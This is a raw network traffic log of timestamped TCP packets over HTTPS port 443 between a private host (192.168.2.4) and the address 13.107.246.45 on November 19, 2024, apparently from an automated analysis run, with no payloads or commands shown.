Nov 19, 2024 19:15:21.000430107 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.000509977 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.000509977 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.000520945 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.000529051 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.003501892 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.003530979 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.003623962 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.003739119 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.003751040 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.039309978 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.039555073 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.039628983 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.039643049 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.039666891 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.039732933 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.039833069 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.039844990 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.039879084 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.039891958 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.042983055 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.043028116 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.043133020 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.043337107 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.043346882 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.097553968 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.098074913 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.098100901 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.098545074 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.098551989 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.130713940 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.131443024 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.131454945 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.131844044 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.131849051 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.206032038 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.206547976 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.206640959 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.206685066 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.206685066 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.206700087 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.206710100 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.211317062 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.211357117 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.211447954 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.211685896 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.211702108 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.230879068 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.230967999 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.231122017 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.231205940 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.231205940 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.231225014 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.231234074 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.235291958 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.235333920 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.235833883 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.236007929 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.236022949 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.652414083 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.653105974 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.653120041 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.653587103 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.653599024 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.688532114 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.689104080 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.689121008 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.689614058 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.689618111 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.712246895 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.713464975 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.713473082 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.713727951 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.713732004 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.753851891 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.754089117 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.757683992 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.758733988 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.758742094 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.758856058 CET	49970	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.758862019 CET	443	49970	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.762062073 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.762106895 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.762314081 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.762432098 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.762444019 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.794076920 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.794151068 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.794262886 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.794275999 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.794409990 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.794574976 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.794574976 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.794586897 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.794595957 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.797674894 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.797705889 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.798062086 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.798186064 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.798194885 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.818429947 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.818686008 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.818741083 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.818744898 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.818907022 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.818984032 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.818984032 CET	49971	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.819000006 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.819009066 CET	443	49971	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.821535110 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.821592093 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.821826935 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.821877956 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.821887970 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.860236883 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.860790014 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.860814095 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.861440897 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.861447096 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.896640062 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.897186041 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.897200108 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.897602081 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.897608042 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.971215963 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.971605062 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.971684933 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.971730947 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.971730947 CET	49972	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.971755028 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.971765041 CET	443	49972	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.974451065 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.974483967 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.974822044 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.974957943 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:21.974971056 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.005407095 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.005501032 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.005645037 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.005814075 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.005814075 CET	49973	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.005825996 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.005837917 CET	443	49973	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.010339975 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.010365963 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.010601997 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.010730028 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.010754108 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.348433971 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.349014044 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.349046946 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.350012064 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.350019932 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.400460005 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.401248932 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.401267052 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.401994944 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.402003050 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.447587013 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.447777987 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.447891951 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.447969913 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.448106050 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.456228018 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.503256083 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.503673077 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.503810883 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.508622885 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.524480104 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.576204062 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.663229942 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.706907034 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.771234989 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.771245003 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.772033930 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.772039890 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.772460938 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.772488117 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.772958994 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.772965908 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.773226976 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.773252010 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.773410082 CET	49975	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.773416042 CET	443	49975	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.774808884 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.774821997 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.775537014 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.775542021 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.777571917 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.777609110 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.777626991 CET	49974	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.777643919 CET	443	49974	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.802812099 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.802858114 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.803006887 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.804332018 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.804351091 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.805260897 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.805320024 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.805396080 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.805521011 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.805535078 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.874349117 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.874552011 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.874617100 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.874821901 CET	49978	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.874831915 CET	443	49978	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.877512932 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.877551079 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.877610922 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.877620935 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.877650023 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.878977060 CET	49977	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.878994942 CET	443	49977	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.880816936 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.880861998 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.880940914 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.881230116 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.881247044 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.883754015 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.883822918 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.883919954 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.884077072 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.884094954 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.891520977 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.891671896 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.891742945 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.892220974 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.892230988 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.892241955 CET	49976	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.892247915 CET	443	49976	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.895633936 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.895648003 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:22.895776033 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.896017075 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:22.896029949 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.438205004 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.439141989 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.439182997 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.440232038 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.440257072 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.486443996 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.487051964 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.487092018 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.487507105 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.487518072 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.516443968 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.516994953 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.517035007 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.517451048 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.517457962 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.539154053 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.539345980 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.539402962 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.539582968 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.539608002 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.539623976 CET	49980	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.539633036 CET	443	49980	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.543956995 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.543992996 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.544075012 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.544265032 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.544281006 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.544589043 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.545005083 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.545049906 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.545887947 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.545908928 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.563421965 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.564033985 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.564071894 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.564500093 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.564512014 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.593668938 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.594187975 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.594360113 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.594417095 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.594436884 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.594446898 CET	49979	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.594453096 CET	443	49979	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.597476006 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.597495079 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.597554922 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.597747087 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.597759962 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.619128942 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.619194984 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.619239092 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.619260073 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.619374037 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.619543076 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.619543076 CET	49981	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.619571924 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.619595051 CET	443	49981	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.622484922 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.622517109 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.622646093 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.622838974 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.622865915 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.665545940 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.666078091 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.666157961 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.666228056 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.666264057 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.666337013 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.666404009 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.666436911 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.666470051 CET	49983	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.666486025 CET	443	49983	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.669356108 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.669392109 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.669712067 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.669898987 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.669913054 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.712244034 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.712456942 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.712522984 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.712692022 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.712707043 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.712765932 CET	49982	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.712773085 CET	443	49982	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.715922117 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.715975046 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:23.716320992 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.716526031 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:23.716542959 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.198545933 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.199568987 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.199664116 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.199979067 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.199996948 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.279025078 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.279544115 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.279577971 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.280086994 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.280093908 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.293812037 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.294372082 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.294404030 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.294872999 CET	49986	443	192.168.2.4	13.107.246.45
